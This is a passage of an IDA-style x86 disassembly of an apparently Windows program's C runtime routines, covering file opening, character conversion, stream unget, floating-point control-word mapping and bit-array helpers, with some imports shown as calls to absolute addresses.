		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 27506FCh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		call	near ptr 26808BBh
		nop


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 26B0669h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		call	near ptr 2610749h
		nop
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610749h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2720000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2720000h
		nop
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 2861078h
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2720000h
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


